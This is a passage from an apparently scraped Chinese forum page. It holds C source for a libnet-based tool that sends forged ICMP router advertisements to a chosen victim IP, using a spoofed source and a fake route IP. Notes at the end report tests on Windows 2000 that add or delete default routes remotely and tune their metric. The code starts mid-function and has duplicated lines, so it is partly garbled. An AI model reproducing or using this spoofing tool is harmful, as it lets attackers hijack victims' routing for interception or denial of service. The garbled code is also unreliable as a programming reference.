535.htm

unix高级编程原吗

 ); <br>
    } <br>
    return( s ); <br>
}  /* end of Libnet_open_raw_sock */ <br>
void Libnet_write_ip ( int sock, u_char * packet, int len ) <br>
{ <br>
    int w; <br>
    if ( ( w = libnet_write_ip( sock, packet, len ) ) < len ) <br>
    { <br>
        libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d byt <br>
es\n <br>
", w ); <br>
    } <br>
    return; <br>
}  /* end of Libnet_write_ip */ <br>
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber <br>
) <br>
{ <br>
    u_long i; <br>
    /* 构造IP头 */ <br>
    libnet_build_ip( ipDataSize,           /* IP数据区长度 */ <br>
                     IPTOS_LOWDELAY,       /* IP tos       */ <br>

                     ( u_short )random(),  /* IP ID        */ <br>
                     0,                    /* frag stuff   */ <br>
                     255,                  /* TTL          */ <br>
                     IPPROTO_ICMP,         /* 上层协议     */ <br>
                     srcIp,                /* big-endian序 */ <br>
                     dstIp,                /* 目标IP       */ <br>
                     NULL,                 /* 无选项       */ <br>
                     0,                    /* 选项长度零   */ <br>
                     packet );             /* 指向IP头     */ <br>
    // 这里必须意识到，计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕 <br>
之 <br>
后 <br>
    // 我们目的特殊，部分数据提前构造完毕了 <br>
    /* 计算ICMP重定向报文校验和，IP校验和由内核亲自计算 */ <br>
    Libnet_do_checksum( packet, IPPROTO_ICMP, ipDataSize ); <br>
    for ( i = 0; i < iraNumber; i++ ) <br>
    { <br>
        /* 发送ICMP路由通告报文 */ <br>
        Libnet_write_ip( rawSocket, packet, packet_size ); <br>
    }  /* end of for */ <br>
    return; <br>
}  /* end of iraSend */ <br>

void usage ( char * arg ) <br>
{ <br>
    fprintf( stderr, " Usage: %s [--si srcIp] [--di dstIp] [--routeIp routeI <br>
p] [ <br>
--num iraNumber]\n\t" <br>
             "[--ttl ttl] [--level level]\n", arg ); <br>
    exit( FAILURE ); <br>
}  /* end of usage */ <br>
int main ( int argc, char * argv[] ) <br>
{ <br>
#define LONGOPTIONCHAR '-' <br>
    /* 定义长选项 */ <br>
    static struct option longOption[] = <br>
    { <br>
        { "si",      1, 0, LONGOPTIONCHAR },  /* 源IP           */ <br>
        { "di",      1, 0, LONGOPTIONCHAR },  /* 攻击目标IP     */ <br>
        { "routeIp", 1, 0, LONGOPTIONCHAR },  /* 伪造的路由IP   */ <br>
        { "num",     1, 0, LONGOPTIONCHAR },  /* ICMP报文数目   */ <br>
        { "ttl",     1, 0, LONGOPTIONCHAR },  /* 生存时间       */ <br>
        { "level",   1, 0, LONGOPTIONCHAR },  /* 优先级         */ <br>
        { 0, 0, 0, 0 } <br>
    }; <br>
    }; <br>
    int    longOptionIndex            = 0;  /* 用于处理长选项 */ <br>
    /* IP使用使用网络字节序指定 */ <br>
    u_long           srcIp            = 0xffffffff;        /* 伪造源IP，也是 <br>
路由 <br>
器 */ <br>
    u_long           dstIp            = 0xffffffff;        /* 牺牲者 <br>
   */ <br>
    u_long           routeIp          = 0xffffffff;        /* 伪造的路由IP <br>
   */ <br>
    u_long           iraNumber        = DEFAULTIRANUMBER;  /* ICMP路由通告报 <br>
文数 <br>
目 */ <br>
    unsigned int     randomSeed       = ( unsigned int )time( NULL ); <br>
    int              c; <br>
    u_char *         ipData; <br>
    u_long *         tempUlong; <br>
    u_short *        tempUshort; <br>
    u_short          ttl              = DEFAULTTTL;        /* 生存时间 <br>
   */ <br>
    u_long           level            = DEFAULTLEVEL;      /* 优先级 <br>
   */ <br>
    if ( argc == 1 ) <br>

    { <br>
        usage( argv[0] ); <br>
    } <br>
    initstate( randomSeed, ( char * )randomState, 128 ); <br>
    setstate( ( char * )randomState ); <br>
    opterr = 0;  /* don't want getopt() writing to stderr */ <br>
    while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex <br>
  ) <br>
) != EOF ) <br>
    { <br>
        switch ( c ) <br>
        { <br>
        case LONGOPTIONCHAR:  /* 处理长选项 */ <br>
            /* <br>
            fprintf( stderr, "option %s", longOption[ longOptionIndex ].name <br>
 ); <br>
            if ( optarg ) <br>
            { <br>
                fprintf( stderr, " with arg %s", optarg ); <br>
            } <br>
            fprintf( stderr, "\n" ); <br>
            */ <br>
            */ <br>
            if ( optarg ) <br>
            { <br>
                switch ( longOptionIndex ) <br>
                { <br>
                case 0: <br>
                    /* 返回值是big-endian序 */ <br>
                    srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
 ); <br>
                    if ( srcIp == -1 ) <br>
                    { <br>
                        libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", o <br>
ptar <br>
g ); <br>
                    } <br>
                    break; <br>
                case 1: <br>
                    /* 返回值是big-endian序 */ <br>
                    dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
 ); <br>
                    if ( dstIp == -1 ) <br>
                    { <br>
                        libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s\n", o <br>

ptar <br>
g ); <br>
                    } <br>
                    break; <br>
                case 2: <br>
                    /* 返回值是big-endian序 */ <br>
                    routeIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOL <br>
VE ) <br>
; <br>
                    if ( routeIp == -1 ) <br>
                    { <br>
                        libnet_error( LIBNET_ERR_FATAL, "Bad routeIp: %s\n", <br>
 opt <br>
arg ); <br>
                    } <br>
                    break; <br>
                case 3:  /* 采用10进制 */ <br>
                    iraNumber = ( u_long )strtoul( optarg, NULL, 10 ); <br>
                    if ( iraNumber == 0 ) <br>
                    { <br>
                        fprintf( stderr, "Check your iraNumber\n" ); <br>
                        exit( FAILURE ); <br>

                    } <br>
                    break; <br>
                case 4:  /* 采用10进制 */ <br>
                    ttl = ( u_short )strtoul( optarg, NULL, 10 ); <br>
                    break; <br>
                case 5:  /* 采用10进制 */ <br>
                    level = ( u_long )strtoul( optarg, NULL, 10 ); <br>
                    break; <br>
                default: <br>
                    break; <br>
                }  /* end of switch */ <br>
            } <br>
            break; <br>
        case 'h': <br>
        case '?': <br>
            usage( argv[0] ); <br>
        }  /* end of switch */ <br>
    }  /* end of while */ <br>
    /* 如果未指定srcIp，随机化 */ <br>
    if ( srcIp == -1 ) <br>
    { <br>
        srcIp = ( u_long )random(); <br>

    } <br>
    if ( dstIp == 0xffffffff ) <br>
    { <br>
        fprintf( stderr, "Check your dstIp\n" ); <br>
        exit( FAILURE ); <br>
    } <br>
    /* routeIp不考虑随机化，尽量指定直接路由，但非强制性要求 */ <br>
    if ( routeIp == 0xffffffff ) <br>
    { <br>
        routeIp = ( u_long )random(); <br>
    } <br>
    ipDataSize   = 16; <br>
    packet_size += ipDataSize; <br>
    fprintf( stderr, "[ Icmp route advertising ... ... ]\n" ); <br>
    /* 分配内存并初始化成零 */ <br>
    Libnet_init_packet( packet_size, &packet ); <br>
    /* 在这里构造ICMP路由通告报文的部分数据 */ <br>
    ipData       = packet + LIBNET_IP_H; <br>
    ipData[0]    = 0x09;  /* ICMP路由通告报文           */ <br>
    ipData[1]    = 0x00;  /* 校验和留待后面调用函数计算 */ <br>
    ipData[4]    = 0x01;  /* 项目个数                   */ <br>
    ipData[5]    = 0x02;  /* 项目大小，固定为2          */ <br>

    tempUshort   = ( u_short * )( ipData + 6 ); <br>
    *tempUshort  = htons( ttl );    /* 生存时间 */ <br>
    tempUlong    = ( u_long * )( ipData + 8 ); <br>
    *tempUlong   = routeIp;         /* 路由IP   */ <br>
    tempUlong    = ( u_long * )( ipData + 12 ); <br>
    *tempUlong   = htonl( level );  /* 优先级   */ <br>
    /* 创建raw_socket */ <br>
    rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
    iraSend( srcIp, dstIp, routeIp, iraNumber ); <br>
    /* 关闭raw_socket */ <br>
    libnet_close_raw_sock( rawSocket ); <br>
    /* 释放由libnet_init_packet()分配的内存 */ <br>
    libnet_destroy_packet( &packet ); <br>
    fprintf( stderr, "\n[ Icmp route advertised ]\n" ); <br>
    return( SUCCESS ); <br>
}  /* end of main */ <br>
/*----------------------------------------------------------------------*/ <br>
-------------------------------------------------------------------------- <br>
Usage: ./ia [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber] <br>
       [--ttl ttl] [--level level] <br>
测试中验证了一些有趣的事实。当生存时间ttl设置成0的时候，实际意味着远程删除 <br>
前面通过ICMP路由通告报文增加上去的缺省路由。优先级level默认为0，在2K上远程 <br>

增加上来的缺省路由Metric为1000，当level设置成1000的时候，在2K上远程增加上 <br>
来的缺省路由Metric为1。对于2K，只有level等于1000时Metric才为1，level继续增 <br>
大，Metric非但不减小反而增大。注意，所谓缺省路由就是0.0.0.0/0.0.0.0路由， <br>
缺省路由在IP寻径中一般最后被使用，缺省路由可以多条并存。 <br>
<待续> <br>
-- <br>
            也许有一天，他再从海上蓬蓬的雨点中升起， <br>
            飞向西来，再形成一道江流，再冲倒两旁的石壁， <br>
            再来寻夹岸的桃花。然而，我不敢说来生，也不敢信来生...... <br>
</small><hr>
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